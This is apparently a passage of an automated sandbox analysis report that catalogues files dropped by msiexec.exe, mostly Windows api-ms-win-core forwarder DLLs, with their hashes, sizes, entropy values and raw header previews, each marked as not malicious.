SHA1:	0B90F23535E8CDAC8EC1139183D5A8A269C2EFEB
SHA-256:	395099D9A062FA7A72B73D7B354BF411DA7CFD8D6ADAA9FDBC0DD7C282348DC7
SHA-512:	DFC18D47703A69D44643CFC0209B785A4393F4A4C84FAC5557D996BC2A3E4F410EA6D26C66EA7F765CEC491DD52C8454CB0F538D20D2EFF09DC89DDECC0A2AFE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.G.......%...I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\SmbShare\SmbShare.psd1T.......gsmbo........gsmbm........Enable-SmbDelegation.... ...Remove-SmbMultichannelConstraint........gsmbd........gsmbb........gsmbc........gsmba........Set-SmbPathAcl........Grant-SmbShareAccess........Get-SmbBandWidthLimit........rsmbm........New-SmbGlobalMapping........rsmbc........rsmbb........Get-SmbGlobalMapping........Remove-SmbShare........rksmba........gsmbmc........rsmbs........Get-SmbConnection........nsmbscm........gsmbscm........rsmbt........Remove-SmbBandwidthLimit........Set-SmbServerConfiguration........cssmbo........udsmbmc........Remove-SMBComponent........ssmbsc........ssmbb........Get-SmbShareAccess........Get-SmbOpenFile........dsmbd........ssmbs........ssmbp........nsmbgm........ulsmba........Close-SmbOpenFile........Revoke-SmbShareAccess........nsmbt........rsmbscm........Disable-SmbDelegation........nsmbs........Block-SmbShareAccess........gsmbcn........Set-Sm

C:\Users\user\AppData\Local\Temp\562160962232090538429.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-console-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.080160932980843
Encrypted:	false
SSDEEP:	192:3jBMWIghWGZiKedXe123Ouo+Uggs/nGfe4pBjS/uBmWh0txKdmVWQ4GWDZoiyqnP:GWPhWVXYi00GftpBjSemTltcwpS
MD5:	502263C56F931DF8440D7FD2FA7B7C00
SHA1:	523A3D7C3F4491E67FC710575D8E23314DB2C1A2
SHA-256:	94A5DF1227818EDBFD0D5091C6A48F86B4117C38550343F780C604EEE1CD6231
SHA-512:	633EFAB26CDED9C3A5E144B81CBBD3B6ADF265134C37D88CFD5F49BB18C345B2FC3A08BA4BBC917B6F64013E275239026829BA08962E94115E94204A47B80221
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 962Zrwh5bU.exe, Detection: malicious, Browse Filename: jd4t3R7hOq.exe, Detection: malicious, Browse Filename: 3861227PDF.exe, Detection: malicious, Browse Filename: WC10SCPMaX.exe, Detection: malicious, Browse Filename: 7000091945.xlsx.exe, Detection: malicious, Browse Filename: Dekont#400577_89008_96634.exe, Detection: malicious, Browse Filename: No. 1349240400713.exe, Detection: malicious, Browse Filename: PRICE ENQUIRY - RFQ 6000073650.exe, Detection: malicious, Browse Filename: Payment.cmd, Detection: malicious, Browse Filename: Order160311_Reference.hta, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....."............!......................... ...............................0.......J....@.............................+............ ..................8=..............T............................................................................text...+........................... ..`.rsrc........ ......................@..@......".........;...T...T.........".........d.................".....................RSDSMB...5.G.8.'.d.....api-ms-win-core-console-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......+....edata... ..`....rsrc$01....` .......rsrc$02......................".....................(...`...............,...W...................G...o...............................D...s...............5...b...............................................api-ms-win-core-console-l1-1-0.dll.AllocConsole.kern

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-datetime-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.093995452106596
Encrypted:	false
SSDEEP:	192:RWIghWG4U9xluZo123Ouo+Uggs/nGfe4pBjSbMDPxVWh0txKdmVWQ4CWrDry6qnZ:RWPhWFv0i00GftpBjBHem6plUG+zIw
MD5:	CB978304B79EF53962408C611DFB20F5
SHA1:	ECA42F7754FB0017E86D50D507674981F80BC0B9
SHA-256:	90FAE0E7C3644A6754833C42B0AC39B6F23859F9A7CF4B6C8624820F59B9DAD3
SHA-512:	369798CD3F37FBAE311B6299DA67D19707D8F770CF46A8D12D5A6C1F25F85FC959AC5B5926BC68112FA9EB62B402E8B495B9E44F44F8949D7D648EA7C572CF8C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 962Zrwh5bU.exe, Detection: malicious, Browse Filename: jd4t3R7hOq.exe, Detection: malicious, Browse Filename: 3861227PDF.exe, Detection: malicious, Browse Filename: WC10SCPMaX.exe, Detection: malicious, Browse Filename: 7000091945.xlsx.exe, Detection: malicious, Browse Filename: Dekont#400577_89008_96634.exe, Detection: malicious, Browse Filename: No. 1349240400713.exe, Detection: malicious, Browse Filename: PRICE ENQUIRY - RFQ 6000073650.exe, Detection: malicious, Browse Filename: Payment.cmd, Detection: malicious, Browse Filename: Order160311_Reference.hta, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...A..............!......................... ...............................0.......#....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....A...........<...T...T.......A...........d...............A.......................RSDS...W,X.l..o....4....api-ms-win-core-datetime-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02....................A.......P...............(...8...H...................t.......................api-ms-win-core-datetime-l1-1-0.dll.GetDateFormatA.kernel32.GetDateFormatA.GetDateFormatW.kernel32.GetDateFormatW.GetTimeFormatA.kernel32.GetTimeFormatA

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-debug-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1028816880814265
Encrypted:	false
SSDEEP:	384:cWPhWM4Ri00GftpBj2YILemtclD16PaEC:l10oiBQe/L
MD5:	88FF191FD8648099592ED28EE6C442A5
SHA1:	6A4F818B53606A5602C609EC343974C2103BC9CC
SHA-256:	C310CC91464C9431AB0902A561AF947FA5C973925FF70482D3DE017ED3F73B7D
SHA-512:	942AE86550D4A4886DAC909898621DAB18512C20F3D694A8AD444220AEAD76FA88C481DF39F93C7074DBBC31C3B4DAF97099CFED86C2A0AAA4B63190A4B307FD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......GF....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@................9...T...T...................d.......................................RSDS.j..v..C...B..h....api-ms-win-core-debug-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................P...............(...8...H...\|...............q.......................api-ms-win-core-debug-l1-1-0.dll.DebugBreak.kernel32.DebugBreak.IsDebuggerPresent.kernel32.IsDebuggerPresent.OutputDebugStringA.kernel32.OutputDebugStri

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-errorhandling-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.126358371711227
Encrypted:	false
SSDEEP:	192:NFmxD3PWIghWGJY/luZo123Ouo+Uggs/nGfe4pBjSffcp8Wh0txKdmVWQ4yWRzOr:NFkWPhW60i00GftpBj4emHlD16Pa7v
MD5:	6D778E83F74A4C7FE4C077DC279F6867
SHA1:	F5D9CF848F79A57F690DA9841C209B4837C2E6C3
SHA-256:	A97DCCA76CDB12E985DFF71040815F28508C655AB2B073512E386DD63F4DA325
SHA-512:	02EF01583A265532D3970B7D520728AA9B68F2B7C309EE66BD2B38BAF473EF662C9D7A223ACF2DA722587429DA6E4FBC0496253BA5C41E214BEA240CE824E8A2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\x.............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....\x..........A...T...T.......\x..........d...............\x......................RSDS.1....U45.z.d.....api-ms-win-core-errorhandling-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............\x......n...............(...D...`...................4...f.......................'...J.....................api-ms-win-core-errorhandling-l1-1-0.dll.GetErrorMode.kernel32.GetErrorMode.GetLastError.kernel32.GetLastError.RaiseExcept

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-file-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21816
Entropy (8bit):	7.014255619395433
Encrypted:	false
SSDEEP:	384:d6PvVXHWPhWnsnhi00GftpBjaJemyDlD16PamW8:UPvVX85nhoisJeLt8
MD5:	94AE25C7A5497CA0BE6882A00644CA64
SHA1:	F7AC28BBC47E46485025A51EEB6C304B70CEE215
SHA-256:	7EA06B7050F9EA2BCC12AF34374BDF1173646D4E5EBF66AD690B37F4DF5F3D4E
SHA-512:	83E570B79111706742D0684FC16207AE87A78FA7FFEF58B40AA50A6B9A2C2F77FE023AF732EF577FB7CD2666E33FFAF0E427F41CA04075D83E0F6A52A177C2B0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!.........................0...............................@......./....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@...............8...T...T..................d......................................RSDS.0...B..8....G....api-ms-win-core-file-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................K...K.......D...p...6...`.......................?...l...............A...................6..._...................;...e............... ...I...n...............-...d......................g..................U...................M...

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-file-l1-2-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.112057846012794
Encrypted:	false
SSDEEP:	192:IWIghWGJnWdsNtL/123Ouo+Uggs/nGfe4pBjSfcD63QXWh0txKdmVWQ4yW1rwqnh:IWPhWlsnhi00GftpBjnem9lD16PamFP
MD5:	E2F648AE40D234A3892E1455B4DBBE05
SHA1:	D9D750E828B629CFB7B402A3442947545D8D781B
SHA-256:	C8C499B012D0D63B7AFC8B4CA42D6D996B2FCF2E8B5F94CACFBEC9E6F33E8A03
SHA-512:	18D4E7A804813D9376427E12DAA444167129277E5FF30502A0FA29A96884BF902B43A5F0E6841EA1582981971843A4F7F928F8AECAC693904AB20CA40EE4E954
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...._.L...........!......................... ...............................0............@.............................L............ ..................8=..............T............................................................................text...<........................... ..`.rsrc........ ......................@..@....._.L........8...T...T........_.L........d................_.L....................RSDS........g"Y........api-ms-win-core-file-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg.......L....edata... ..`....rsrc$01....` .......rsrc$02........._.L....@...................(...8...l...............`.......................api-ms-win-core-file-l1-2-0.dll.CreateFile2.kernel32.CreateFile2.GetTempPathW.kernel32.GetTempPathW.GetVolumeNameForVolumeMountPointW.kernel32.GetVolumeNameForVolumeMou

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-file-l2-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.166618249693435
Encrypted:	false
SSDEEP:	192:BZwWIghWG4U9ydsNtL/123Ouo+Uggs/nGfe4pBjSbUGHvNWh0txKdmVWQ4CWVU9h:UWPhWFBsnhi00GftpBjKvxemPlP55QQ7
MD5:	E479444BDD4AE4577FD32314A68F5D28
SHA1:	77EDF9509A252E886D4DA388BF9C9294D95498EB
SHA-256:	C85DC081B1964B77D289AAC43CC64746E7B141D036F248A731601EB98F827719
SHA-512:	2AFAB302FE0F7476A4254714575D77B584CD2DC5330B9B25B852CD71267CDA365D280F9AA8D544D4687DC388A2614A51C0418864C41AD389E1E847D81C3AB744
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...4..\|...........!......................... ...............................0......t.....@.......................................... ..................8=..............T............................................................................text...}........................... ..`.rsrc........ ......................@..@....4..\|........8...T...T.......4..\|........d...............4..\|....................RSDS.=.Co.P..Gd./%P....api-ms-win-core-file-l2-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........4..\|........................D...p...............#...P...................;...g...................<...m...............%...Z.........................api-ms-win-core-file-l2-1-0.dll.CopyFile2.kernel32.CopyFile2.CopyFileExW.kernel32.CopyFileExW.Crea

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-handle-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1117101479630005
Encrypted:	false
SSDEEP:	384:AWPhWXDz6i00GftpBj5FrFaemx+lDbNh/6:hroidkeppp
MD5:	6DB54065B33861967B491DD1C8FD8595
SHA1:	ED0938BBC0E2A863859AAD64606B8FC4C69B810A
SHA-256:	945CC64EE04B1964C1F9FCDC3124DD83973D332F5CFB696CDF128CA5C4CBD0E5
SHA-512:	AA6F0BCB760D449A3A82AED67CA0F7FB747CBB82E627210F377AF74E0B43A45BA660E9E3FE1AD4CBD2B46B1127108EC4A96C5CF9DE1BDEC36E993D0657A615B6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....G...........!......................... ...............................0......V.....@............................._............ ..................8=..............T............................................................................text..._........................... ..`.rsrc........ ......................@..@......G........:...T...T.........G........d.................G....................RSDSQ..{...IS].0.> ....api-ms-win-core-handle-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg......._....edata... ..`....rsrc$01....` .......rsrc$02......................G....Z...............(...<...P...................A...\|...............,.............api-ms-win-core-handle-l1-1-0.dll.CloseHandle.kernel32.CloseHandle.CompareObjectHandles.kernel32.CompareObjectHandles.DuplicateHandle.kernel32

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-heap-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.174986589968396
Encrypted:	false
SSDEEP:	192:GElqWIghWGZi5edXe123Ouo+Uggs/nGfe4pBjS/PHyRWh0txKdmVWQ4GWC2w4Dj3:GElqWPhWCXYi00GftpBjP9emYXlDbNs
MD5:	2EA3901D7B50BF6071EC8732371B821C
SHA1:	E7BE926F0F7D842271F7EDC7A4989544F4477DA7
SHA-256:	44F6DF4280C8ECC9C6E609B1A4BFEE041332D337D84679CFE0D6678CE8F2998A
SHA-512:	6BFFAC8E157A913C5660CD2FABD503C09B47D25F9C220DCE8615255C9524E4896EDF76FE2C2CC8BDEF58D9E736F5514A53C8E33D8325476C5F605C2421F15C7D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....:............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......:.........8...T...T.........:.........d.................:.....................RSDS.K....OB;....X......api-ms-win-core-heap-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02..........:.........................X...............2...Q...q.......................C...h...........................(...E...f.......................0..._...z...............................................api-ms-win-core-heap-l1-1-0.dll.GetProcessHeap.k

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-interlocked-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17856
Entropy (8bit):	7.076803035880586
Encrypted:	false
SSDEEP:	192:DtiYsFWWIghWGQtu7B123Ouo+Uggs/nGfe4pBjSPiZadcbWh0txKdmVWQ4mWf2FN:5iYsFWWPhWUTi00GftpBjremUBNlgC
MD5:	D97A1CB141C6806F0101A5ED2673A63D
SHA1:	D31A84C1499A9128A8F0EFEA4230FCFA6C9579BE
SHA-256:	DECCD75FC3FC2BB31338B6FE26DEFFBD7914C6CD6A907E76FD4931B7D141718C
SHA-512:	0E3202041DEF9D2278416B7826C61621DCED6DEE8269507CE5783C193771F6B26D47FEB0700BBE937D8AFF9F7489890B5263D63203B5BA99E0B4099A5699C620
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....$.............!......................... ...............................0...........@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....$..........?...T...T........$..........d................$......................RSDS#.......,.S.6.~j....api-ms-win-core-interlocked-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.................$......................(...T...............L...............!...U...................1.......p...............@...s.................................api-ms-win-core-interlocked-l1-1-0.dll.InitializeSListHead.kernel32.InitializeSLis

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-libraryloader-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.131154779640255
Encrypted:	false
SSDEEP:	384:yHvuBL3BmWPhWZTi00GftpBjNKnemenyAlvN9W/L:yWBL3BXYoinKne1yd
MD5:	D0873E21721D04E20B6FFB038ACCF2F1
SHA1:	9E39E505D80D67B347B19A349A1532746C1F7F88
SHA-256:	BB25CCF8694D1FCFCE85A7159DCF6985FDB54728D29B021CB3D14242F65909CE
SHA-512:	4B7F2AD9EAD6489E1EA0704CF5F1B1579BAF1061B193D54CC6201FFDDA890A8C8FACB23091DFD851DD70D7922E0C7E95416F623C48EC25137DDD66E32DF9A637
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....ul...........!......................... ...............................0......9.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....ul........A...T...T........ul........d................ul....................RSDSU..e.j.(.wD.......api-ms-win-core-libraryloader-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............ul....................(...p...........R...}..................Y...................8..._.......................B...k...................F...u...............)...P...w...................................................api-ms-win-c

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-localization-l1-2-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.089032314841867
Encrypted:	false
SSDEEP:	384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBj6cemjlD16Pa+4r:KOMwBprwjGjue9/0jCRrndbCOoireqv
MD5:	EFF11130BFE0D9C90C0026BF2FB219AE
SHA1:	CF4C89A6E46090D3D8FEEB9EB697AEA8A26E4088
SHA-256:	03AD57C24FF2CF895B5F533F0ECBD10266FD8634C6B9053CC9CB33B814AD5D97
SHA-512:	8133FB9F6B92F498413DB3140A80D6624A705F80D9C7AE627DFD48ADEB8C5305A61351BF27BBF02B4D3961F9943E26C55C2A66976251BB61EF1537BC8C212ADD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...S.v............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....S.v.........@...T...T.......S.v.........d...............S.v.....................RSDS..pS...Z4Yr.E@......api-ms-win-core-localization-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................S.v.....v.......;...;...(.......................<...f.......................5...]...................!...I...q...................N.............../...j.............../...^.................../...\...................8...`...........

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-memory-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.101895292899441
Encrypted:	false
SSDEEP:	384:+bZWPhWUsnhi00GftpBjwBemQlD16Par7:b4nhoi6BedH
MD5:	D500D9E24F33933956DF0E26F087FD91
SHA1:	6C537678AB6CFD6F3EA0DC0F5ABEFD1C4924F0C0
SHA-256:	BB33A9E906A5863043753C44F6F8165AFE4D5EDB7E55EFA4C7E6E1ED90778ECA
SHA-512:	C89023EB98BF29ADEEBFBCB570427B6DF301DE3D27FF7F4F0A098949F987F7C192E23695888A73F1A2019F1AF06F2135F919F6C606A07C8FA9F07C00C64A34B5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....%(...........!......................... ...............................0............@.............................l............ ..................8=..............T............................................................................text...l........................... ..`.rsrc........ ......................@..@......%(........:...T...T.........%(........d.................%(....................RSDS.~....%.T.....CO....api-ms-win-core-memory-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......l....edata... ..`....rsrc$01....` .......rsrc$02......................%(....................(...h...........)...P...w...................C...g...................%...P...........B...g...................4...[...\|...................=...................................api-ms-win-core-memory-l1-1-0.dl

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-namedpipe-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.16337963516533
Encrypted:	false
SSDEEP:	192:pgWIghWGZiBeS123Ouo+Uggs/nGfe4pBjS/fE/hWh0txKdmVWQ4GWoxYyqnaj/6B:iWPhWUEi00GftpBj1temnltcwWB
MD5:	6F6796D1278670CCE6E2D85199623E27
SHA1:	8AA2155C3D3D5AA23F56CD0BC507255FC953CCC3
SHA-256:	C4F60F911068AB6D7F578D449BA7B5B9969F08FC683FD0CE8E2705BBF061F507
SHA-512:	6E7B134CA930BB33D2822677F31ECA1CB6C1DFF55211296324D2EA9EBDC7C01338F07D22A10C5C5E1179F14B1B5A4E3B0BAFB1C8D39FCF1107C57F9EAF063A7B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L... ..............!......................... ...............................0.......-....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.... ...........=...T...T....... ...........d............... .......................RSDS...IK..XM.&......api-ms-win-core-namedpipe-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................ .......................(...P...x...............:...w...............O...y...............&...W...............=...j.......................api-ms-win-core-namedpipe-l1-1-0.dll.ConnectNamedPipe.kernel32.ConnectNamedPipe.CreateNamedP

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-processenvironment-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.073730829887072
Encrypted:	false
SSDEEP:	192:wXjWIghWGd4dsNtL/123Ouo+Uggs/nGfe4pBjSXcYddWh0txKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5l1z6hP
MD5:	5F73A814936C8E7E4A2DFD68876143C8
SHA1:	D960016C4F553E461AFB5B06B039A15D2E76135E
SHA-256:	96898930FFB338DA45497BE019AE1ADCD63C5851141169D3023E53CE4C7A483E
SHA-512:	77987906A9D248448FA23DB2A634869B47AE3EC81EA383A74634A8C09244C674ECF9AADCDE298E5996CAFBB8522EDE78D08AAA270FD43C66BEDE24115CDBDFED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...).r............!......................... ...............................0.......:....@.............................G............ ..................0=..............T............................................................................text...G........................... ..`.rsrc........ ......................@..@....).r.........F...T...T.......).r.........d...............).r.....................RSDS.6..~x.......'......api-ms-win-core-processenvironment-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......G....edata... ..`....rsrc$01....` .......rsrc$02........).r.....................(...\|.......B...............$...M...{...............P...................6...k.............../...(...e...............=...f...............8...q...............!...T............... ...........................

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-processthreads-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19392
Entropy (8bit):	7.082421046253008
Encrypted:	false
SSDEEP:	384:afk1JzNcKSIJWPhW2snhi00GftpBjZqcLvemr4PlgC:RcKST+nhoi/BbeGv
MD5:	A2D7D7711F9C0E3E065B2929FF342666
SHA1:	A17B1F36E73B82EF9BFB831058F187535A550EB8
SHA-256:	9DAB884071B1F7D7A167F9BEC94BA2BEE875E3365603FA29B31DE286C6A97A1D
SHA-512:	D436B2192C4392A041E20506B2DFB593FE5797F1FDC2CDEB2D7958832C4C0A9E00D3AEA6AA1737D8A9773817FEADF47EE826A6B05FD75AB0BDAE984895C2C4EF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......l.....@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@................B...T...T...................d.......................................RSDS..t........=j.......api-ms-win-core-processthreads-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................1...1...(...........K...x...............,...`...................C...q...............'...N...y..............."...I...{...............B...p...............,...c...............H...x...................9...S...p.......

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-processthreads-l1-1-1.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.1156948849491055
Encrypted:	false
SSDEEP:	384:xzADfIeRWPhWKEi00GftpBjj1emMVlvN0M:xzfeWeoi11ep
MD5:	D0289835D97D103BAD0DD7B9637538A1
SHA1:	8CEEBE1E9ABB0044808122557DE8AAB28AD14575
SHA-256:	91EEB842973495DEB98CEF0377240D2F9C3D370AC4CF513FD215857E9F265A6A
